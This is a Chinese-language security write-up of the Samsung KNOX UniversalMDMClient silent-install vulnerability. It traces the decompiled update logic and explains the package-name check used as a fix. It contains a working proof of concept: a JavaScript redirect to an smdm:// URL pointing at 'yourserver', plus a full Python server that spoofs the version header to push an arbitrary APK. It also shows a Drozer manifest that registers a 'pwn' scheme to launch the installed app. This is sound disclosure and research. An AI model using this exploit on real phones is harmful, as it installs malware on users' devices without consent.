11月中旬,三星手机被国外安全研究人员曝光了一个严重的安全漏洞,该漏洞影响Galaxy S5,S4,S4 mini,Note 3, Note 4以及Ace 4等所有支持KNOX的手机系统,部分Galaxy S5和 Note 4已修复漏洞。
利用该漏洞,远程攻击者可以精心构造一个恶意网页,欺骗用户更新手机系统,当用户更新系统后,用户手机上会被安装任意的恶意应用。
经研究是系统应用UniversalMDMClient 不安全的更新机制实现导致的,该应用与samsung KNOX 安全解决方案相关。这个系统应用里使用了自定义的scheme:smdm,通过这个scheme可以触发应用更新。但是三星却没有做自升级包名校验机制等,导致可以在更新过程安装任意应用。
官方的修复方案也很简单,就是在自升级时校验了包名。
在android中,包名是唯一的标示,一个android系统里不能同时存在两个包名完全一样的应用。当两个相同包名的应用签名不一样不会导致覆盖安装,这样就可以避免在应用自升级时被中间人攻击,替换为恶意的应用。
我们测试了市场上的应用,发现90%的应用都没有使用自升级校验包名的机制,希望可以吸取三星的教训,开发出更加安全,更加健壮的app。
首先我们把这个漏洞应用拉出来进行分析,看下应用是如何处理这个smdm协议的。
命令:adb pull/system/app/UniversalMDMClient.apk /home/XXX/Desktop/
(不需要root权限)
反编译后发现AndroidManifest.xml文件中有这么一个activity:
这个activity的intent-filter里定义了一个scheme:smdm,并且category是android.intent.category.BROWSABLE。所以当应用接受到smdm协议的url时,该activity会被唤醒进行处理。那么这个activity是如何处理的呢?看下这个activity的相关代码。
定位到程序执行入口onCreate()方法。
可以看到这个函数首先调用了V方法。V方法的实现如下:
public static String v(Context arg3) { return arg3.getSharedPreferences("PreETag",0).getString("PreETag", null); }
很明显程序会去检查本地sharedPreference(这个一般存在于应用数据目录,这里是/data/data/com.sec.enterprise.knox.cloudmdm.smdms/shared_prefs/)里是否有PreETag.xml,如果有返回PreEtag的值。
然后继续看onCreate()方法,这里会判断PreEtag是否存在,如果存在就调用finish()方法结束执行。默认情况PreETag.xml这个文件不存在。
接下来会获取intent里的数据,而这个intent的格式就是intent-filter里定义的scheme格式:smdm://。Intent里包含的数据有:seg_url,update_url, email, mdm_token, program和quickstart_url,这些数据是以键值对形式存在的。
然后是关于seg_url和program的处理。
接下来LaunchActivity.a(this.getApplicationContext(),v1, v2, v3, v4, v5, v6, v7);
定位a方法,实现如下:
这段代码就是把从intent里获取的这些参数存入sharedpreference里,对应本地应用目录下的LaunchParameters.xml文件。
接着程序会获取两个值CurrentProgram和Launch Program,如果Current Program为null或者Current Program和Launch Program值相等,说明这个activity是首次运行,不做处理。否则会调用CloudMdmEnrollmentActivity进行处理,这个activity是mdm注册相关的界面。与漏洞关系不大,不做详细分析。接着会有个检测更新的对话框,是不能取消的,this.wY.setCancelable(false);
Core.fl().fq()方法的实现如下:
这段代码负责检查当前是否正在进行更新,如果没有,则调用Core.ph.a(new Core$1(this));这段代码实现如下:
这段代码混淆比较厉害,单从名字无法猜出大概意思,需要跟入几个函数才可以理清。这段代码会检查数据连接,如果有更新在进行则做删除处理,然后从sharedpreference文件m.xml里获取更新地址,并且会在这个地址后加上/latest。而m.xml里获取的更新地址就是上面从intent里获取的udpdate_url,所以这个地址可以由攻击者控制。
this.h(a.qX, "umc.apk");跟进去,代码实现如下:
这里会向攻击者控制的URL发送HEAD HTTP请求,请求的不同状态会有a$1类来处理。这个类的实现代码如下:
当然这里最重要的就是onSuccess()方法了,它会检查header中的ETag、Content-Length和x-amz-meta-apk-version。header中的x-amz-meta-apk-version值会与当前UniversalMDMApplicationAPK包的版本进行比较。如果header中的x-amz-meta-apk-version版本号大于当前的APK版本,v0就会被置为1,即需要更新。
此时用户手机会弹框提示有新更新,如果用户点击了确定,就会发送一个get请求,获取apk更新地址等,接着会调用com.sec.enterprise.knox.cloudmdm.smdms.install.a类里的onSuccess()方法。
继续跟入fX()和fY()方法.我用jeb反编译的这里fX方法是空,fY方法实现如下:
很明显更新线程开启了。
更新线程又会调用执行installApk(),而installApk()又会调用_installApplication()_installApplication()的功能就是禁止包验证 (防止Google扫描APK)安装APK之后再重新开启包验证。混淆比较厉害,需要跟几个函数,此处不再贴代码。
以上是整个客户端处理逻辑。下载的APK既没有经过验证,也没有向用户展示请求的权限。因此这个漏洞能够被攻击者用来安装任意恶意程序。
首先我们验证了这个漏洞的整个流程,测试环境:Galaxy S4 GT-9508,android 4.4.2系统。
poc原理很简单:
用python(或者其他语言)写一个server,用来响应客户端的请求和提供恶意apk。当被攻击者访问攻击者的url更新时,特定格式scheme(smdm://meow?update_url=http://youserver)会触发漏洞应用进行解析处理,最终会被下载安装服务器指定的任意应用。
Poc: <script> function trigger(){ document.location="smdm://meow?update_url=http://yourserver/"; } setTimeout(trigger, 5000); </script>
Python版server代码:
import hashlib from BaseHTTPServer import BaseHTTPRequestHandler APK_FILE = "toutiao.apk" APK_DATA = open(APK_FILE,"rb").read() APK_SIZE = str(len(APK_DATA)) APK_HASH = hashlib.md5(APK_DATA).hexdigest() poc =''' <script> varloc = window.location.href.replace(/[/.]$/g, ''); alert('smdm://poc?update_url='+encodeURIComponent(loc)+'/test.apk') top.location ='smdm://poc?update_url='+encodeURIComponent(loc)+'/test.apk'; </script> ''' class MyHandler(BaseHTTPRequestHandler): def do_GET(self): if self.path.find('latest') >0: self.send_response(200) self.send_header("Content-Length", APK_SIZE) self.send_header("ETag", APK_HASH) self.send_header("x-amz-meta-apk-version","1337") self.end_headers() self.wfile.write(APK_DATA) else: self.send_response(200, 'OK') self.send_header('Content-type', 'html') self.end_headers() self.wfile.write(poc) return def do_HEAD(self): self.send_response(200) self.send_header("Content-Length", APK_SIZE) self.send_header("ETag", APK_HASH) self.send_header("x-amz-meta-apk-version","1337") self.end_headers() return if __name__ == "__main__": from BaseHTTPServer import HTTPServer server = HTTPServer(('0.0.0.0',8080), MyHandler) server.serve_forever()
下面附上漏洞演示视频:http://v.youku.com/v_show/id_XODY0MDM2OTgw.html
现实世界的攻击中,恶意应用被安装后还需要被启动才能触发恶意代码,实现其他深入攻击。如果浏览器支持Intent Scheme URI,一般会分三个步骤进行处理:
1.利用Intent.parseUri解析uri,获取原始的intent对象;
2.对intent对象设置过滤规则,不同的浏览器有不同的策略
3.通过Context.startActivityIfNeeded或者Context.startActivity发送intent;
这样恶意应用就会被启动,触发恶意代码。国外著名的渗透测试框架Metasploit的漏洞利用脚本,实现了这个过程,目前针对这种意图协议漏洞,360捉虫猎手(appscan.360.cn)可以直接检测,应用开发者可以自查自己的APP是否存在这样的安全隐患。
而另外一种启动恶意代码的方式是通过APP注册一个第三方协议,通过第三方协议启动恶意程序,目前著名的移动渗透测试框架Drozer的漏洞利用脚本已经实现了这一过程:
<activity
android:name="com.mwr.dz.PwnActivity">
<intent-filter>
<actionandroid:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT"/>
<categoryandroid:name="android.intent.category.BROWSABLE" />
<dataandroid:scheme="pwn" />
</intent-filter>
</activity>
在APK的mainfest配置文件中在系统中注册一个PWN的第三方协议,漏洞利用网页只要嵌入类似pwn://协议的地址就可以唤起恶意程序。
如果你的设备还有漏洞,你可以等三星的补丁,也可以自己修复。修复补丁不需要root权限,只需点击这个链接:
smdm://patch/
实际上点击这个链接时,漏洞程序会启动,但是没有指定的更新URL,它会使用默认的三星UMC(Universal MDM Client)服务器http://umc-cdn.secb2b.com:80,这个服务器上有最新版本的UniversalMDMClient.apk。
【原文:三星KNOX远程静默安装漏洞深入分析报告 作者:@0xr0ot SP小编整理发布】